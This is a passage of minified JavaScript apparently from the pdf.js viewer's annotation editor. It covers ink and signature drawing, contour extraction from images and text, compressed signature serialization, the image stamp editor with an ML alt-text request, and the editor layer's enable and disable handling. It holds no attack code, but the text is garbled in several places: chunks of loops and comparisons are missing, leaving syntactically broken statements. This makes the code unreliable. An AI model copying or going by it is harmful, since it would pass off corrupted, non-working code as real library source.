${q.svgRound(-o)})`}}}getPathResizedSVGProperties([t,n,r,i]){const[s,o]=A(this,Ge,Ri).call(this),l=a(this,un),[u,c,d,f]=l;if(l[0]=t,l[1]=n,l[2]=r,l[3]=i,Math.abs(d-s)<=q.PRECISION||Math.abs(f-o)<=q.PRECISION){const E=t+r/2-(u+d/2),S=n+i/2-(c+f/2);for(const{line:w,points:C}of a(this,zn))q._translate(w,E,S,w),q._translate(C,E,S,C);return{root:{viewBox:this.viewBox},path:{"transform-origin":`${q.svgRound(t)} ${q.svgRound(n)}`,transform:this.rotationTransform||null,d:this.toSVGPath()}}}const p=(r-2*s)/(d-2*s),m=(i-2*o)/(f-2*o),v=-p*(u+s)+t+s,y=-m*(c+o)+n+o;if(p!==1||m!==1||v!==0||y!==0)for(const{line:E,points:S}of a(this,zn))q._rescale(E,v,y,p,m,E),q._rescale(S,v,y,p,m,S);return{root:{viewBox:this.viewBox},path:{"transform-origin":`${q.svgRound(t)} ${q.svgRound(n)}`,transform:this.rotationTransform||null,d:this.toSVGPath()}}}getPathTranslatedSVGProperties([t,n],r){const[i,s]=r,o=a(this,un),l=t-o[0],u=n-o[1];if(a(this,ui)===i&&a(this,ci)===s)for(const{line:c,points:d}of a(this,zn))q._translate(c,l,u,c),q._translate(d,l,u,d);else{const c=a(this,ui)/i,d=a(this,ci)/s;g(this,ui,i),g(this,ci,s);for(const{line:f,points:p}of a(this,zn))q._rescale(f,l,u,c,d,f),q._rescale(p,l,u,c,d,p);o[2]*=c,o[3]*=d}return o[0]=t,o[1]=n,{root:{viewBox:this.viewBox},path:{d:this.toSVGPath(),"transform-origin":`${q.svgRound(t)} ${q.svgRound(n)}`}}}get defaultSVGProperties(){const t=a(this,un);return{root:{viewBox:this.viewBox},rootClass:{draw:!0},path:{d:this.toSVGPath(),"transform-origin":`${q.svgRound(t[0])} ${q.svgRound(t[1])}`,transform:this.rotationTransform||null},bbox:t}}}un=new WeakMap,up=new WeakMap,cp=new WeakMap,zn=new WeakMap,ui=new WeakMap,ci=new WeakMap,Zu=new WeakMap,Qu=new WeakMap,Hl=new WeakMap,Ge=new WeakSet,Ri=function(t=a(this,Hl)){const n=a(this,cp)+t/2*a(this,Zu);return a(this,Qu)%180===0?[n/a(this,ui),n/a(this,ci)]:[n/a(this,ci),n/a(this,ui)]},qE=function(){const[t,n,r,i]=a(this,un),[s,o]=A(this,Ge,Ri).call(this,0);return[t+s,n+o,r-2*s,i-2*o]},tw=function(){const t=g(this,un,So.slice());for(const{line:i}of a(this,zn)){if(i.length<=12){for(let l=4,u=i.length;lo!==n[l])||t.thickness!==r||t.opacity!==i||t.pageIndex!==s},M(Ih,"_type","ink"),M(Ih,"_editorType",ct.INK),M(Ih,"_defaultDrawingOptions",null);let e0=Ih;class n0 extends og{toSVGPath(){let e=super.toSVGPath();return e.endsWith("Z")||(e+="Z"),e}}ut(5213);const pg=8,Uc=3;var Hc,Vl,Mt,r0,Nr,rw,iw,i0,tm,sw,aw,ow,s0,a0,lw;let Ch=(Hc=class{static extractContoursFromText(e,{fontFamily:t,fontStyle:n,fontWeight:r},i,s,o,l){let u=new OffscreenCanvas(1,1),c=u.getContext("2d",{alpha:!1});const d=200,f=c.font=`${n} ${r} ${d}px ${t}`,{actualBoundingBoxLeft:p,actualBoundingBoxRight:m,actualBoundingBoxAscent:v,actualBoundingBoxDescent:y,fontBoundingBoxAscent:E,fontBoundingBoxDescent:S,width:w}=c.measureText(e),C=1.5,x=Math.ceil(Math.max(Math.abs(p)+Math.abs(m)||0,w)*C),T=Math.ceil(Math.max(Math.abs(v)+Math.abs(y)||d,Math.abs(E)+Math.abs(S)||d)*C);u=new OffscreenCanvas(x,T),c=u.getContext("2d",{alpha:!0,willReadFrequently:!0}),c.font=f,c.filter="grayscale(1)",c.fillStyle="white",c.fillRect(0,0,x,T),c.fillStyle="black",c.fillText(e,x*(C-1)/2,T*(3-C)/2);const I=A(this,Mt,s0).call(this,c.getImageData(0,0,x,T).data),F=A(this,Mt,ow).call(this,I),P=A(this,Mt,a0).call(this,F),R=A(this,Mt,i0).call(this,I,x,T,P);return this.processDrawnLines({lines:{curves:R,width:x,height:T},pageWidth:i,pageHeight:s,rotation:o,innerMargin:l,mustSmooth:!0,areContours:!0})}static process(e,t,n,r,i){const[s,o,l]=A(this,Mt,lw).call(this,e),[u,c]=A(this,Mt,aw).call(this,s,o,l,Math.hypot(o,l)*a(this,Vl).sigmaSFactor,a(this,Vl).sigmaR,a(this,Vl).kernelSize),d=A(this,Mt,a0).call(this,c),f=A(this,Mt,i0).call(this,u,o,l,d);return this.processDrawnLines({lines:{curves:f,width:o,height:l},pageWidth:t,pageHeight:n,rotation:r,innerMargin:i,mustSmooth:!0,areContours:!0})}static processDrawnLines({lines:e,pageWidth:t,pageHeight:n,rotation:r,innerMargin:i,mustSmooth:s,areContours:o}){r%180!==0&&([t,n]=[n,t]);const{curves:l,width:u,height:c}=e,d=e.thickness??0,f=[],p=Math.min(t/u,n/c),m=p/t,v=p/n,y=[];for(const{points:S}of l){const w=s?A(this,Mt,sw).call(this,S):S;if(!w)continue;y.push(w);const C=w.length,x=new Float32Array(C),T=new Float32Array(3*(C===2?2:C-2));if(f.push({line:T,points:x}),C===2){x[0]=w[0]*m,x[1]=w[1]*v,T.set([NaN,NaN,NaN,NaN,x[0],x[1]],0);continue}let[I,F,P,R]=w;I*=m,F*=v,P*=m,R*=v,x.set([I,F,P,R],0),T.set([NaN,NaN,NaN,NaN,I,F],0);for(let D=4;D=-128&&o<=127?u=Int8Array:s>=-32768&&o<=32767?u=Int16Array:u=Int32Array;const c=e.length,d=pg+Uc*c,f=new Uint32Array(d);let p=0;f[p++]=d*Uint32Array.BYTES_PER_ELEMENT+(l-2*c)*u.BYTES_PER_ELEMENT,f[p++]=0,f[p++]=r,f[p++]=i,f[p++]=t?0:1,f[p++]=Math.max(0,Math.floor(n??0)),f[p++]=c,f[p++]=u.BYTES_PER_ELEMENT;for(const S of e)f[p++]=S.length-2,f[p++]=S[0],f[p++]=S[1];const m=new CompressionStream("deflate-raw"),v=m.writable.getWriter();await v.ready,v.write(f);const y=u.prototype.constructor;for(const S of e){const w=new y(S.length-2);for(let C=2,x=S.length;C{await i.ready,await i.close()}).catch(()=>{});let s=null,o=0;for await(const w of n)s||(s=new Uint8Array(new Uint32Array(w.buffer,0,4)[0])),s.set(w,o),o+=w.length;const l=new Uint32Array(s.buffer,0,s.length>>2),u=l[1];if(u!==0)throw new Error(`Invalid version: ${u}`);const c=l[2],d=l[3],f=l[4]===0,p=l[5],m=l[6],v=l[7],y=[],E=(pg+Uc*m)*Uint32Array.BYTES_PER_ELEMENT;let S;switch(v){case Int8Array.BYTES_PER_ELEMENT:S=new Int8Array(s.buffer,E);break;case Int16Array.BYTES_PER_ELEMENT:S=new Int16Array(s.buffer,E);break;case Int32Array.BYTES_PER_ELEMENT:S=new Int32Array(s.buffer,E);break}o=0;for(let w=0;w0?0:4:n===1?r+6:2-r},Nr=new WeakMap,rw=function(e,t,n,r,i,s,o){const l=A(this,Mt,r0).call(this,n,r,i,s);for(let u=0;u<8;u++){const c=(-u+l-o+16)%8,d=a(this,Nr)[2*c],f=a(this,Nr)[2*c+1];if(e[(n+d)*t+(r+f)]!==0)return c}return-1},iw=function(e,t,n,r,i,s,o){const l=A(this,Mt,r0).call(this,n,r,i,s);for(let u=0;u<8;u++){const c=(u+l+o+16)%8,d=a(this,Nr)[2*c],f=a(this,Nr)[2*c+1];if(e[(n+d)*t+(r+f)]!==0)return c}return-1},i0=function(e,t,n,r){const i=e.length,s=new Int32Array(i);for(let c=0;c=1&&s[f+1]===0)o+=1,v+=1,p>1&&(l=p);else{p!==1&&(l=Math.abs(p));continue}const y=[d,c],E=v===d+1,S={isHole:E,points:y,id:o,parent:0};u.push(S);let w;for(const D of u)if(D.id===l){w=D;break}w?w.isHole?S.parent=E?w.parent:l:S.parent=E?l:w.parent:S.parent=E?l:0;const C=A(this,Mt,rw).call(this,s,t,c,d,m,v,0);if(C===-1){s[f]=-o,s[f]!==1&&(l=Math.abs(s[f]));continue}let x=a(this,Nr)[2*C],T=a(this,Nr)[2*C+1];const I=c+x,F=d+T;m=I,v=F;let P=c,R=d;for(;;){const D=A(this,Mt,iw).call(this,s,t,P,R,m,v,1);x=a(this,Nr)[2*D],T=a(this,Nr)[2*D+1];const k=P+x,N=R+T;y.push(N,k);const H=P*t+R;if(s[H+1]===0?s[H]=-o:s[H]===1&&(s[H]=o),k===c&&N===d&&P===I&&R===F){s[f]!==1&&(l=Math.abs(s[f]));break}else m=P,v=R,P=k,R=N}}}return u},tm=function(e,t,n,r){if(n-t<=4){for(let I=t;Ix&&(T=I,x=F)}x>(u*C)**2?(A(this,Mt,tm).call(this,e,t,T+2,r),A(this,Mt,tm).call(this,e,T,n,r)):r.push(i,s)},sw=function(e){const t=[],n=e.length;return A(this,Mt,tm).call(this,e,0,n,t),t.push(e[n-2],e[n-1]),t.length<=4?null:t},aw=function(e,t,n,r,i,s){const o=new Float32Array(s**2),l=-2*r**2,u=s>>1;for(let v=0;v=n))for(let F=0;F=t)continue;const R=e[I*t+P],D=o[T*s+F]*c[Math.abs(R-S)];w+=R*D,C+=D}}const x=p[E]=Math.round(w/C);m[x]++}return[p,m]},ow=function(e){const t=new Uint32Array(256);for(const n of e)t[n]++;return t},s0=function(e){const t=e.length,n=new Uint8ClampedArray(t>>2);let r=-1/0,i=1/0;for(let o=0,l=n.length;ol!==0);let s=i,o=i;for(t=i;t<256;t++){const l=e[t];l>n&&(t-s>r&&(r=t-s,o=t-1),n=l,s=t)}for(t=o-1;t>=0&&!(e[t]>e[t+1]);t--);return t},lw=function(e){const t=e,{width:n,height:r}=e,{maxDim:i}=a(this,Vl);let s=n,o=r;if(n>i||r>i){let f=n,p=r,m=Math.log2(Math.max(n,r)/i);const v=Math.floor(m);m=m===v?v-1:v;for(let E=0;E{n==null||n.updateEditSignatureButton(t)}))}getSignaturePreview(){const{newCurves:t,areContours:n,thickness:r,width:i,height:s}=a(this,Na),o=Math.max(i,s),l=Ch.processDrawnLines({lines:{curves:t.map(u=>({points:u})),thickness:r,width:i,height:s},pageWidth:o,pageHeight:o,rotation:0,innerMargin:0,mustSmooth:!1,areContours:n});return{areContours:n,outline:l.outline}}get toolbarButtons(){return this._uiManager.signatureManager?[["editSignature",this._uiManager.signatureManager]]:super.toolbarButtons}addSignature(t,n,r,i){const{x:s,y:o}=this,{outline:l}=g(this,Na,t);g(this,La,l instanceof n0),this.description=r;let u;a(this,La)?u=In.getDefaultDrawingOptions():(u=In._defaultDrawnSignatureOptions.clone(),u.updateProperties({"stroke-width":l.thickness})),this._addOutlines({drawOutlines:l,drawingOptions:u});const[,c]=this.pageDimensions;let d=n/c;d=d>=1?.5:d,this.width*=d/this.height,this.width>=1&&(d*=.9/this.width,this.width=.9),this.height=d,this.setDims(),this.x=s,this.y=o,this.center(),this._onResized(),this.onScaleChanging(),this.rotate(),this._uiManager.addToAnnotationStorage(this),this.setUuid(i),this._reportTelemetry({action:"pdfjs.signature.inserted",data:{hasBeenSaved:!!i,hasDescription:!!r}}),this.div.hidden=!1}getFromImage(t){const{rawDims:{pageWidth:n,pageHeight:r},rotation:i}=this.parent.viewport;return Ch.process(t,n,r,i,In._INNER_MARGIN)}getFromText(t,n){const{rawDims:{pageWidth:r,pageHeight:i},rotation:s}=this.parent.viewport;return Ch.extractContoursFromText(t,n,r,i,s,In._INNER_MARGIN)}getDrawnSignature(t){const{rawDims:{pageWidth:n,pageHeight:r},rotation:i}=this.parent.viewport;return Ch.processDrawnLines({lines:t,pageWidth:n,pageHeight:r,rotation:i,innerMargin:In._INNER_MARGIN,mustSmooth:!1,areContours:!1})}createDrawingOptions({areContours:t,thickness:n}){t?this._drawingOptions=In.getDefaultDrawingOptions():(this._drawingOptions=In._defaultDrawnSignatureOptions.clone(),this._drawingOptions.updateProperties({"stroke-width":n}))}serialize(t=!1){if(this.isEmpty())return null;const{lines:n,points:r}=this.serializeDraw(t),{_drawingOptions:{"stroke-width":i}}=this,s=Object.assign(super.serialize(t),{isSignature:!0,areContours:a(this,La),color:[0,0,0],thickness:a(this,La)?0:i});return this.addComment(s),t?(s.paths={lines:n,points:r},s.uuid=a(this,Wl),s.isCopy=!0):s.lines=n,a(this,di)&&(s.accessibilityData={type:"Figure",alt:a(this,di)}),s}static deserializeDraw(t,n,r,i,s,o){return o.areContours?n0.deserialize(t,n,r,i,s,o):og.deserialize(t,n,r,i,s,o)}static async deserialize(t,n,r){var s;const i=await super.deserialize(t,n,r);return g(i,La,t.areContours),i.description=((s=t.accessibilityData)==null?void 0:s.alt)||"",g(i,Wl,t.uuid),i}};La=new WeakMap,di=new WeakMap,Na=new WeakMap,Wl=new WeakMap,M(In,"_type","signature"),M(In,"_editorType",ct.SIGNATURE),M(In,"_defaultDrawingOptions",null);let o0=In;var Zt,Me,Ba,cs,ka,qu,ds,zl,fi,Gn,tc,It,hd,ud,em,nm,rm,h0,im,hw;class l0 extends Gt{constructor(t){super({...t,name:"stampEditor"});b(this,It);b(this,Zt,null);b(this,Me,null);b(this,Ba,null);b(this,cs,null);b(this,ka,null);b(this,qu,"");b(this,ds,null);b(this,zl,!1);b(this,fi,null);b(this,Gn,!1);b(this,tc,!1);g(this,cs,t.bitmapUrl),g(this,ka,t.bitmapFile),this.defaultL10nId="pdfjs-editor-stamp-editor"}static initialize(t,n){Gt.initialize(t,n)}static isHandlingMimeForPasting(t){return Yv.includes(t)}static paste(t,n){n.pasteEditor({mode:ct.STAMP},{bitmapFile:t.getAsFile()})}altTextFinish(){this._uiManager.useNewAltTextFlow&&(this.div.hidden=!1),super.altTextFinish()}get telemetryFinalData(){var t;return{type:"stamp",hasAltText:!!((t=this.altTextData)!=null&&t.altText)}}static computeTelemetryFinalData(t){const n=t.get("hasAltText");return{hasAltText:n.get(!0)??0,hasNoAltText:n.get(!1)??0}}async mlGuessAltText(t=null,n=!0){if(this.hasAltTextData())return null;const{mlManager:r}=this._uiManager;if(!r)throw new Error("No ML.");if(!await r.isEnabledFor("altText"))throw new Error("ML isn't enabled for alt text.");const{data:i,width:s,height:o}=t||this.copyCanvas(null,null,!0).imageData,l=await r.guess({name:"altText",request:{data:i,width:s,height:o,channels:i.length/(s*o)}});if(!l)throw new Error("No response from the AI service.");if(l.error)throw new Error("Error from the AI service.");if(l.cancel)return null;if(!l.output)throw new Error("No valid response from the AI service.");const u=l.output;return await this.setGuessedAltText(u),n&&!this.hasAltTextData()&&(this.altTextData={alt:u,decorative:!1}),u}remove(){var t;a(this,Me)&&(g(this,Zt,null),this._uiManager.imageManager.deleteId(a(this,Me)),(t=a(this,ds))==null||t.remove(),g(this,ds,null),a(this,fi)&&(clearTimeout(a(this,fi)),g(this,fi,null))),super.remove()}rebuild(){if(!this.parent){a(this,Me)&&A(this,It,em).call(this);return}super.rebuild(),this.div!==null&&(a(this,Me)&&a(this,ds)===null&&A(this,It,em).call(this),this.isAttachedToDOM||this.parent.add(this))}onceAdded(t){this._isDraggable=!0,t&&this.div.focus()}isEmpty(){return!(a(this,Ba)||a(this,Zt)||a(this,cs)||a(this,ka)||a(this,Me)||a(this,zl))}get toolbarButtons(){return[["altText",this.createAltText()]]}get isResizable(){return!0}render(){if(this.div)return this.div;let t,n;return this._isCopy&&(t=this.x,n=this.y),super.render(),this.div.hidden=!0,this.createAltText(),a(this,zl)||(a(this,Zt)?A(this,It,nm).call(this):A(this,It,em).call(this)),this._isCopy&&this._moveAfterPaste(t,n),this._uiManager.addShouldRescale(this),this.div}setCanvas(t,n){const{id:r,bitmap:i}=this._uiManager.imageManager.getFromCanvas(t,n);n.remove(),r&&this._uiManager.imageManager.isValidId(r)&&(g(this,Me,r),i&&g(this,Zt,i),g(this,zl,!1),A(this,It,nm).call(this))}_onResized(){this.onScaleChanging()}onScaleChanging(){if(!this.parent)return;a(this,fi)!==null&&clearTimeout(a(this,fi)),g(this,fi,setTimeout(()=>{g(this,fi,null),A(this,It,h0).call(this)},200))}copyCanvas(t,n,r=!1){t||(t=224);const{width:i,height:s}=a(this,Zt),o=new uh;let l=a(this,Zt),u=i,c=s,d=null;if(n){if(i>n||s>n){const I=Math.min(n/i,n/s);u=Math.floor(i*I),c=Math.floor(s*I)}d=document.createElement("canvas");const p=d.width=Math.ceil(u*o.sx),m=d.height=Math.ceil(c*o.sy);a(this,Gn)||(l=A(this,It,rm).call(this,p,m));const v=d.getContext("2d");v.filter=this._uiManager.hcmFilter;let y="white",E="#cfcfd8";this._uiManager.hcmFilter!=="none"?E="black":Gx.isDarkMode&&(y="#8f8f9d",E="#42414d");const S=15,w=S*o.sx,C=S*o.sy,x=new OffscreenCanvas(w*2,C*2),T=x.getContext("2d");T.fillStyle=y,T.fillRect(0,0,w*2,C*2),T.fillStyle=E,T.fillRect(0,0,w,C),T.fillRect(w,C,w,C),v.fillStyle=v.createPattern(x,"repeat"),v.fillRect(0,0,p,m),v.drawImage(l,0,0,l.width,l.height,0,0,p,m)}let f=null;if(r){let p,m;if(o.symmetric&&l.widtht||s>t){const E=Math.min(t/i,t/s);p=Math.floor(i*E),m=Math.floor(s*E),a(this,Gn)||(l=A(this,It,rm).call(this,p,m))}const y=new OffscreenCanvas(p,m).getContext("2d",{willReadFrequently:!0});y.drawImage(l,0,0,l.width,l.height,0,0,p,m),f={width:p,height:m,data:y.getImageData(0,0,p,m).data}}return{canvas:d,width:u,height:c,imageData:f}}static async deserialize(t,n,r){var y;let i=null,s=!1;if(t instanceof SE){const{data:{rect:E,rotation:S,id:w,structParent:C,popupRef:x,richText:T,contentsObj:I,creationDate:F,modificationDate:P},container:R,parent:{page:{pageNumber:D}},canvas:k}=t;let N,H;k?(delete t.canvas,{id:N,bitmap:H}=r.imageManager.getFromCanvas(R.id,k),k.remove()):(s=!0,t._hasNoCanvas=!0);const X=((y=await n._structTree.getAriaAttributes(`${Ph}${w}`))==null?void 0:y.get("aria-label"))||"";i=t={annotationType:ct.STAMP,bitmapId:N,bitmap:H,pageIndex:D-1,rect:E.slice(0),rotation:S,annotationElementId:w,id:w,deleted:!1,accessibilityData:{decorative:!1,altText:X},isSvg:!1,structParent:C,popupRef:x,richText:T,comment:(I==null?void 0:I.str)||null,creationDate:F,modificationDate:P}}const o=await super.deserialize(t,n,r),{rect:l,bitmap:u,bitmapUrl:c,bitmapId:d,isSvg:f,accessibilityData:p}=t;s?(r.addMissingCanvas(t.id,o),g(o,zl,!0)):d&&r.imageManager.isValidId(d)?(g(o,Me,d),u&&g(o,Zt,u)):g(o,cs,c),g(o,Gn,f);const[m,v]=o.pageDimensions;return o.width=(l[2]-l[0])/m,o.height=(l[3]-l[1])/v,p&&(o.altTextData=p),o._initialData=i,t.comment&&o.setCommentData(t),g(o,tc,!!i),o}serialize(t=!1,n=null){if(this.isEmpty())return null;if(this.deleted)return this.serializeDeleted();const r=Object.assign(super.serialize(t),{bitmapId:a(this,Me),isSvg:a(this,Gn)});if(this.addComment(r),t)return r.bitmapUrl=A(this,It,im).call(this,!0),r.accessibilityData=this.serializeAltText(!0),r.isCopy=!0,r;const{decorative:i,altText:s}=this.serializeAltText(!1);if(!i&&s&&(r.accessibilityData={type:"Figure",alt:s}),this.annotationElementId){const l=A(this,It,hw).call(this,r);return l.isSame?null:(l.isSameAltText?delete r.accessibilityData:r.accessibilityData.structParent=this._initialData.structParent??-1,r.id=this.annotationElementId,delete r.bitmapId,r)}if(n===null)return r;n.stamps||(n.stamps=new Map);const o=a(this,Gn)?(r.rect[2]-r.rect[0])*(r.rect[3]-r.rect[1]):null;if(!n.stamps.has(a(this,Me)))n.stamps.set(a(this,Me),{area:o,serialized:r}),r.bitmap=A(this,It,im).call(this,!1);else if(a(this,Gn)){const l=n.stamps.get(a(this,Me));o>l.area&&(l.area=o,l.serialized.bitmap.close(),l.serialized.bitmap=A(this,It,im).call(this,!1))}return r}renderAnnotationElement(t){return this.deleted?(t.hide(),null):(t.updateEdited({rect:this.getPDFRect(),popup:this.comment}),null)}}Zt=new WeakMap,Me=new WeakMap,Ba=new WeakMap,cs=new WeakMap,ka=new WeakMap,qu=new WeakMap,ds=new WeakMap,zl=new WeakMap,fi=new WeakMap,Gn=new WeakMap,tc=new WeakMap,It=new WeakSet,hd=function(t,n=!1){if(!t){this.remove();return}g(this,Zt,t.bitmap),n||(g(this,Me,t.id),g(this,Gn,t.isSvg)),t.file&&g(this,qu,t.file.name),A(this,It,nm).call(this)},ud=function(){if(g(this,Ba,null),this._uiManager.enableWaiting(!1),!!a(this,ds)){if(this._uiManager.useNewAltTextWhenAddingImage&&this._uiManager.useNewAltTextFlow&&a(this,Zt)){this.addEditToolbar().then(()=>{this._editToolbar.hide(),this._uiManager.editAltText(this,!0)});return}if(!this._uiManager.useNewAltTextWhenAddingImage&&this._uiManager.useNewAltTextFlow&&a(this,Zt)){this._reportTelemetry({action:"pdfjs.image.image_added",data:{alt_text_modal:!1,alt_text_type:"empty"}});try{this.mlGuessAltText()}catch{}}this.div.focus()}},em=function(){if(a(this,Me)){this._uiManager.enableWaiting(!0),this._uiManager.imageManager.getFromId(a(this,Me)).then(r=>A(this,It,hd).call(this,r,!0)).finally(()=>A(this,It,ud).call(this));return}if(a(this,cs)){const r=a(this,cs);g(this,cs,null),this._uiManager.enableWaiting(!0),g(this,Ba,this._uiManager.imageManager.getFromUrl(r).then(i=>A(this,It,hd).call(this,i)).finally(()=>A(this,It,ud).call(this)));return}if(a(this,ka)){const r=a(this,ka);g(this,ka,null),this._uiManager.enableWaiting(!0),g(this,Ba,this._uiManager.imageManager.getFromFile(r).then(i=>A(this,It,hd).call(this,i)).finally(()=>A(this,It,ud).call(this)));return}const t=document.createElement("input");t.type="file",t.accept=Yv.join(",");const n=this._uiManager._signal;g(this,Ba,new Promise(r=>{t.addEventListener("change",async()=>{if(!t.files||t.files.length===0)this.remove();else{this._uiManager.enableWaiting(!0);const i=await this._uiManager.imageManager.getFromFile(t.files[0]);this._reportTelemetry({action:"pdfjs.image.image_selected",data:{alt_text_modal:this._uiManager.useNewAltTextFlow}}),A(this,It,hd).call(this,i)}r()},{signal:n}),t.addEventListener("cancel",()=>{this.remove(),r()},{signal:n})}).finally(()=>A(this,It,ud).call(this))),t.click()},nm=function(){var u;const{div:t}=this;let{width:n,height:r}=a(this,Zt);const[i,s]=this.pageDimensions,o=.75;if(this.width)n=this.width*i,r=this.height*s;else if(n>o*i||r>o*s){const c=Math.min(o*i/n,o*s/r);n*=c,r*=c}this._uiManager.enableWaiting(!1);const l=g(this,ds,document.createElement("canvas"));l.setAttribute("role","img"),this.addContainer(l),this.width=n/i,this.height=r/s,this.setDims(),(u=this._initialOptions)!=null&&u.isCentered?this.center():this.fixAndSetPosition(),this._initialOptions=null,(!this._uiManager.useNewAltTextWhenAddingImage||!this._uiManager.useNewAltTextFlow||this.annotationElementId)&&(t.hidden=!1),A(this,It,h0).call(this),a(this,tc)||(this.parent.addUndoableEditor(this),g(this,tc,!0)),this._reportTelemetry({action:"inserted_image"}),a(this,qu)&&this.div.setAttribute("aria-description",a(this,qu)),this.annotationElementId||this._uiManager.a11yAlert("pdfjs-editor-stamp-added-alert")},rm=function(t,n){const{width:r,height:i}=a(this,Zt);let s=r,o=i,l=a(this,Zt);for(;s>2*t||o>2*n;){const u=s,c=o;s>2*t&&(s=Math.ceil(s/2)),o>2*n&&(o=Math.ceil(o/2));const d=new OffscreenCanvas(s,o);d.getContext("2d").drawImage(l,0,0,u,c,0,0,s,o),l=d.transferToImageBitmap()}return l},h0=function(){const[t,n]=this.parentDimensions,{width:r,height:i}=this,s=new uh,o=Math.ceil(r*t*s.sx),l=Math.ceil(i*n*s.sy),u=a(this,ds);if(!u||u.width===o&&u.height===l)return;u.width=o,u.height=l;const c=a(this,Gn)?a(this,Zt):A(this,It,rm).call(this,o,l),d=u.getContext("2d");d.filter=this._uiManager.hcmFilter,d.drawImage(c,0,0,c.width,c.height,0,0,o,l)},im=function(t){if(t){if(a(this,Gn)){const i=this._uiManager.imageManager.getSvgUrl(a(this,Me));if(i)return i}const n=document.createElement("canvas");return{width:n.width,height:n.height}=a(this,Zt),n.getContext("2d").drawImage(a(this,Zt),0,0),n.toDataURL()}if(a(this,Gn)){const[n,r]=this.pageDimensions,i=Math.round(this.width*n*Fc.PDF_TO_CSS_UNITS),s=Math.round(this.height*r*Fc.PDF_TO_CSS_UNITS),o=new OffscreenCanvas(i,s);return o.getContext("2d").drawImage(a(this,Zt),0,0,a(this,Zt).width,a(this,Zt).height,0,0,i,s),o.transferToImageBitmap()}return structuredClone(a(this,Zt))},hw=function(t){var o;const{pageIndex:n,accessibilityData:{altText:r}}=this._initialData,i=t.pageIndex===n,s=(((o=t.accessibilityData)==null?void 0:o.alt)||"")===r;return{isSame:!this.hasEditedComment&&!this._hasBeenMoved&&!this._hasBeenResized&&i&&s,isSameAltText:s}},M(l0,"_type","stamp"),M(l0,"_editorType",ct.STAMP);var Gl,ec,ja,Ua,fs,wn,$a,nc,rc,Br,ps,Le,gs,Ha,ic,et,Tn,Va,Wt,u0,uw,Xr,c0,d0,sm;let OC=(Tn=class{constructor({uiManager:e,pageIndex:t,div:n,structTreeLayer:r,accessibilityManager:i,annotationLayer:s,drawLayer:o,textLayer:l,viewport:u,l10n:c}){b(this,Wt);b(this,Gl);b(this,ec,!1);b(this,ja,null);b(this,Ua,null);b(this,fs,null);b(this,wn,new Map);b(this,$a,!1);b(this,nc,!1);b(this,rc,!1);b(this,Br,null);b(this,ps,null);b(this,Le,null);b(this,gs,null);b(this,Ha,null);b(this,ic,-1);b(this,et);const d=[...a(Tn,Va).values()];if(!Tn._initialized){Tn._initialized=!0;for(const f of d)f.initialize(c,e)}e.registerEditorTypes(d),g(this,et,e),this.pageIndex=t,this.div=n,g(this,Gl,i),g(this,ja,s),this.viewport=u,g(this,Le,l),this.drawLayer=o,this._structTree=r,a(this,et).addLayer(this)}get isEmpty(){return a(this,wn).size===0}get isInvisible(){return this.isEmpty&&a(this,et).getMode()===ct.NONE}updateToolbar(e){a(this,et).updateToolbar(e)}updateMode(e=a(this,et).getMode()){switch(A(this,Wt,sm).call(this),e){case ct.NONE:this.div.classList.toggle("nonEditing",!0),this.disableTextSelection(),this.togglePointerEvents(!1),this.toggleAnnotationLayerPointerEvents(!0),this.disableClick();return;case ct.INK:this.disableTextSelection(),this.togglePointerEvents(!0),this.enableClick();break;case ct.HIGHLIGHT:this.enableTextSelection(),this.togglePointerEvents(!1),this.disableClick();break;default:this.disableTextSelection(),this.togglePointerEvents(!0),this.enableClick()}this.toggleAnnotationLayerPointerEvents(!1);const{classList:t}=this.div;if(t.toggle("nonEditing",!1),e===ct.POPUP)t.toggle("commentEditing",!0);else{t.toggle("commentEditing",!1);for(const n of a(Tn,Va).values())t.toggle(`${n._type}Editing`,e===n._editorType)}this.div.hidden=!1}hasTextLayer(e){var t;return e===((t=a(this,Le))==null?void 0:t.div)}setEditingState(e){a(this,et).setEditingState(e)}addCommands(e){a(this,et).addCommands(e)}cleanUndoStack(e){a(this,et).cleanUndoStack(e)}toggleDrawing(e=!1){this.div.classList.toggle("drawing",!e)}togglePointerEvents(e=!1){this.div.classList.toggle("disabled",!e)}toggleAnnotationLayerPointerEvents(e=!1){var t;(t=a(this,ja))==null||t.togglePointerEvents(e)}async enable(){var n;g(this,rc,!0),this.div.tabIndex=0,this.togglePointerEvents(!0),this.div.classList.toggle("nonEditing",!1),(n=a(this,Ha))==null||n.abort(),g(this,Ha,null);const e=new Set;for(const r of a(this,Wt,u0))r.enableEditing(),r.show(!0),r.annotationElementId&&(a(this,et).removeChangedExistingAnnotation(r),e.add(r.annotationElementId));const t=a(this,ja);if(t)for(const r of t.getEditableAnnotations()){if(r.hide(),a(this,et).isDeletedAnnotationElement(r.data.id)||e.has(r.data.id))continue;const i=await this.deserialize(r);i&&(this.addOrRebuild(i),i.enableEditing())}g(this,rc,!1),a(this,et)._eventBus.dispatch("editorsrendered",{source:this,pageNumber:this.pageIndex+1})}disable(){var r;if(g(this,nc,!0),this.div.tabIndex=-1,this.togglePointerEvents(!1),this.div.classList.toggle("nonEditing",!0),a(this,Le)&&!a(this,Ha)){g(this,Ha,new AbortController);const i=a(this,et).combinedSignal(a(this,Ha));a(this,Le).div.addEventListener("pointerdown",s=>{const{clientX:l,clientY:u,timeStamp:c}=s,d=a(this,ic);if(c-d>500){g(this,ic,c);return}g(this,ic,-1);const{classList:f}=this.div;f.toggle("getElements",!0);const p=document.elementsFromPoint(l,u);if(f.toggle("getElements",!1),!this.div.contains(p[0]))return;let m;const v=new RegExp(`^${xd}[0-9]+$`);for(const E of p)if(v.test(E.id)){m=E.id;break}if(!m)return;const y=a(this,wn).get(m);(y==null?void 0:y.annotationElementId)===null&&(ee(s),y.dblclick(s))},{signal:i,capture:!0})}const e=a(this,ja),t=[];if(e){const i=new Map,s=new Map;for(const o of a(this,Wt,u0)){if(o.disableEditing(),!o.annotationElementId){t.push(o);continue}if(o.serialize()!==null){i.set(o.annotationElementId,o);continue}else s.set(o.annotationElementId,o);(r=this.getEditableAnnotation(o.annotationElementId))==null||r.show(),o.remove()}for(const o of e.getEditableAnnotations()){const{id:l}=o.data;if(a(this,et).isDeletedAnnotationElement(l)){o.updateEdited({deleted:!0});continue}let u=s.get(l);if(u){u.resetAnnotationElement(o),u.show(!1),o.show();continue}u=i.get(l),u&&(a(this,et).addChangedExistingAnnotation(u),u.renderAnnotationElement(o)&&u.show(!1)),o.show()}}A(this,Wt,sm).call(this),this.isEmpty&&(this.div.hidden=!0);const{classList:n}=this.div;for(const i of 